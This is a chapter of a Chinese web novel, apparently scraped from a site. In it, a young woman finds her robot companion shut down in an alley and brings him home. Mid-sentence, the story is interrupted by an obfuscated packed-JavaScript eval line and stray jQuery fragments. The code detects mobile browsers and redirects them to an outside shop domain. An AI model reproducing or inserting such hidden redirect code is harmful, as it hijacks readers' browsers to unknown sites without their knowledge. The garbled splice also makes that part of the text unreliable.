健忘、虚弱、嗜睡的病情没有得到解决,现在也没办法再充电,万一没电了倒在路边怎么办?
会不会被坏人捡走拆开当零件卖掉?
方晨静不知道凌玉不是人类的事,看着梓桐颤抖的身体,摸她的脊背安慰她,“他应该是不想拖累你,肯定回自己家躲着呢,今天太晚了,等天亮我陪你去报警吧。”
梓桐的呼吸时而急促时而缓慢,她看向方晨静勉强抿出一个笑来,“晨静,你先回去吧,我想一个人待会。”
方晨静犹豫,“你一个人能行吗,要不我留下来陪你吧。”
“不用,你回去吧,谢谢你晨静。”
见梓桐不肯松口,担心再坚持反而让她情况更糟,无奈之下方晨静只好答应。
等她离开,梓桐翻箱倒柜从抽屉里拿走手电筒,经过玄关地毯时还被绊了一下,险些摔倒,她撑着门框站稳,脚步慌乱地跑下楼。
外面黑漆漆一片,梓桐无头苍蝇一样找了整个小区,一点线索都没有。
她跑去凌玉工作的诊所找人,姚磊被楼下的叫声和拍门声吵醒,骂骂咧咧披上外套,趿着拖鞋来开门。
门开了,看见门口的梓桐只穿了件单薄的卫衣,刘海被冷风吹得凌乱,鼻子上都是汗珠子,陶磊顿时一愣,收起了脸上的烦燥。
刚才跑得太急,猛地停下来,梓桐捂住胸口尽力调整呼吸,“你有没有看见凌玉?”
像是早有预料,姚磊悠悠地抱起手臂靠在门上,“没有,不过我劝你别找他了,他就是个犟种,跟这种人在一起你不累吗?”
梓桐完全没听见他说的,抓住他的袖子像溺水的人抓住救生圈,“你知道他在哪吗?能不能、能不能告诉我。”
“我不知道。”
姚磊将她把自己袖子扯得皱巴巴的手拽下去,一摸才发现全是冷汗,还在不停发颤。
心底许多年没出现过的怜惜之情突然爬上心头,他放软声音劝告。
“我真不知道他在哪,这还是辞职之后我第一次听到他的名字。”
“凌玉前几天在店里工作突然昏倒,被病人误会是突发疾病送到医院抢救,还是我赶过去把人带回来的,之后他跟我坦白了充电装置研制失败的事,我就放他走了。原本充电装置里那枚芯片对他身体损伤太大,如果能换掉里面的芯片,或许还能救回来,但是......唉。”
X集团行事霸道,这么关键的东西即使毁掉也不可能流出来,姚磊说到这不抱希望地摇摇头。
“小妹妹,别找他了,他估计活不了了,不想让你担心才躲起来,你就让他自生自灭吧。”
放下这些话就姚磊一狠心不再看她,关上了门,将梓桐那双晶莹的眼睛隔绝在门外。
姚磊坐在工作台前点了根烟,烟雾缭绕勾起了惆惆的思绪。
最初招用凌玉只是看中他修复义体的手艺,他自己也是研究义体的老师傅了,看见凌玉紫色眼睛里的纹路就觉得古怪,怎么可能看不出他的身体情况异于常人,但还是选择用他。
其实他开始是坚绝不同意的,光看他细皮嫩肉的外表,以为是城外哪家公司制作的恋爱型机器人。
但是凌玉治好了令他头疼的义脑问题,而且手法娴熟,得到病人肯定后还获得病人热情的宣传,一夜带火他的小诊所。
一个机器人竟然会修义体,而且很厉害,他心里怀疑过凌玉的身份,但身为商人最重利益,只要能带来钱,什么牛鬼蛇神他都能收下。
凌玉修理义肢的工艺炉火纯青,干起活来利索又能吃苦,让他做什么就做什么,从不抱怨,姚磊对他相当满意。
现在沦落得躲起来默默死掉的结局,他心里跟压了块石头似的过意不去。
房间里的灯亮到凌晨才关,姚磊长长叹了口气,又回到楼上。
梓桐这边没有得到凌玉的下落,也不知道还能去哪里,心底涌上一股说不尽的无力感拖慢了她的脚步。
后知后觉脚底板生疼,可能起泡破皮了,每一步都像走在刀刃上。
她攥着手电筒走在街边,望见不远处的街口竖立着的一盏遥远高耸的路灯。
猛然想起一个地方。
从这里拐个弯就到垃圾巷了,说不定凌玉离开家发现没地方可去,又回去那天的巷子里呢。
等回过神,她已经顺着手电筒的光钻进了那片伸手不见五指的巷子。
“凌玉!凌玉!”她边往深处走边喊,呼喊声打在墙壁,都弹进自己的耳朵。
巷子的路面落了一层房体坍塌落下的沙砾和碎石子,走在上面把脚步声都放大了,听着像是有人在后面跟着她。
本来就没抱多大希望,现在独自面对这条被人跟踪、追杀过的巷子,梓桐一颗心吊起来,全身紧绷,生怕上次的情况再出现。
不知道走了多久,视线里出现一条熟悉分叉路,手电筒的光照到地上躺着的易拉罐,光线突然一闪一闪的,一下比一下暗。
电量就快耗尽了。
即便没有手电筒的光,猫眼也能看清,但忽明忽暗的景象还是吓得梓桐一跳。
看着两边好像望不到头的甬道,梓桐全身被一股无力感和恐惧包裹,她贴着墙壁走,想在亮光消失前,找到一个密闭的角落让自己蜷缩起来。
突然视线里出现一个眼熟的垃圾箱,一双长腿从巷子的另一边伸出来,垂在地上。
她们之间只有两米不到的距离。
梓桐找到凌玉的时候,张嘴却不敢叫他的名字。
找了很久的人背靠在墙角垂着头,仿佛生命迹象已经完全消失,全身上下透着金属的冰冷。
梓桐费好大力气将他放到背上,冷意隔着衣服渗入她背上的皮肤。
等走出黑漆漆的巷子时,她几乎没力气了,双腿灌了铅似的,沉重地快要倒下去。
突然,一束光出现在街口,白色轿车停在离她不远的马路边,驾驶座的门打开,走出一个熟人——
方晨静。
她三步并两步气势汹汹地走过来,嘴里却说着关心的话。
“我就知道你不会乖乖待在家里!你能不能让我省点心?”
背上的重量突然轻了,梓桐还没来得及感谢,头顶方晨静原本中气十足的嗓音骤然变虚,“他他他......他怎么凉了?”
害怕归害怕,方晨静却没有甩开凌玉搭在她肩膀的手臂。
梓桐将他另一条手臂搭在脖子上,解释得急促,“应该还没死呢,等把他带回家再跟你解释!”
“哦哦!”
两人一起将凌玉放在后座上,梓桐坐在他身边,撑着他的身体,让他的脑袋能靠在她的肩窝里。
方晨静在前面开车,雪白的车顶灯把凌玉本就毫无血色的脸照得像太平间的尸体,吓得她再不敢看后视镜。
等回到家,把凌玉安置在床上,方晨静掐着腰抹了一把额头的汗。
正要问梓桐刚才的话是什么意思,却看梓桐直接上手掀开凌玉的衣摆,隔着裤子往腰胯那一按,凌玉的腹腔竟然从中间打开了!
方晨静下巴都快着地了,眼睁睁看着梓桐取出他腹腔里盘踞的数据条,插进床头摆放的灰不溜秋玩意儿顶部的卡槽里。
缓了半天她扶着下巴合上嘴,“凌玉他不是人啊?”
梓桐扯来被子给他盖上,看向她抿抿唇,“他是机器人,只是相比普通的机器人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561077|203537||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
长相和人更接近一点。”
“何止是接近一点,你不说我完全看不出他是机器人!哪家公司的产品,有这逆天的技术还害怕比不过城市的X集团吗?”
话都已经说到这个份上也没必要再隐瞒。
梓桐:“他就是从X集团跑出来的,我猜就是集团研究院的产物,他逃出来的时候被我捡到了,因为什么原因逃出来和其他的细节我也不清楚。”
目瞪口呆地听完她的解释,方晨静缓了缓,终于能想通这段时间发生的事。
梓桐继续,“前段时间托你帮我问何志鑫也是因为他身体出了故障,我不知道怎么办,又担心你知道实情后,面对何志鑫会穿帮,所以才没告诉你,不是故意骗你的,晨静,对不起。”
方晨静无所谓地摆摆手,“这有什么好抱歉的,他这样充电就能醒吗?”
凌玉闭着眼睛躺在床上,碎发遮住冷峻的眉眼,一直戴在左眼的眼罩在车上时就被梓桐摘掉了。
伤口暴露出来,终究是留了一道疤斜着划到脸颊的位置。
破碎,且毫无生命力。
梓桐低下头垂着眼看他的样子,现在人还没醒,刚才充电时没听到充电提示音,看来他已经不能接收这台充电装置的能量了。
唯一的问题出现在那枚病毒芯片上。
梓桐想了想,“晨静,如果凌玉明天醒不过来,接下来我要请几天假,你找不到我别担心。”
方晨静打断她,“你要去哪里?有没有危险?”
“没有啦,凌玉是机器人,去普通医院肯定不行,我打算带他去其它城市的义体诊所看看,可能要出去好几天,没有危险的。”
方晨静松了口气,“有什么需要帮忙的就告诉我。今天也是,竟然瞒着我大半夜一个人出去找他,多我一个不好吗,幸好我不放心回去找你,不然你一个人怎么把他扛回家。”
“谢谢。”梓桐轻声道谢,“等给他把故障解决,我就回学校。”
“好。”
今晚梓桐和方晨静睡在一起,梓桐几乎一晚上没合眼,终于熬到天亮将方晨静送出门,站在凌玉卧室门前,吸了一口气推开门。
凌玉躺在床上好像只是睡着了,但是梓桐知道,他没动弹过,还维持着昨晚的姿势,已经彻底陷入死机状态。
昨晚在巷子里找到他,梓桐想他就是想悄悄死掉。
有句话姚磊说得挺对的,跟他这么拧巴的人相处非常累,什么糟糕的事都藏在心里,不告诉别人。
连死亡这么可怕的事都要独自面对。
垃圾巷很乱,只有清洁工一年去打扫一次,梓桐听说过那里发生的事。
很多“地头蛇”抢夺义体卖钱后就会把人随边扔到一个垃圾箱里,处理垃圾的清洁工看见尸体,甚至眼睛都不带眨的,对此已经见怪不怪了。
所以如果她没想过去巷子里找他,凌玉真的会死得悄无声息。
梓桐将数据条拔下来,工工整整放回原本的空槽里,再把他的腹腔合上。
做完这些,她趴在床头看着凌玉苍白的侧脸。
一夜没睡声音又涩又哑,“以前你帮过我,这次我也帮帮你吧。”
说到底就是充电装里少了一枚芯片,才会造成现在糟糕的局面,她只后悔没有在一开始就去研究院找到这枚芯片,也能避免后续这些麻烦事。
但是现在去也不迟。
梓桐换了身衣服,站在玄关挑了个黑色帽子戴上。
正准备出发,“叮咚”一声门铃贴着她的耳朵响起来。
一门之隔的梓桐应激似的浑身僵硬,机械而缓慢地扭过脖子面向大门。
“是谁在外面?”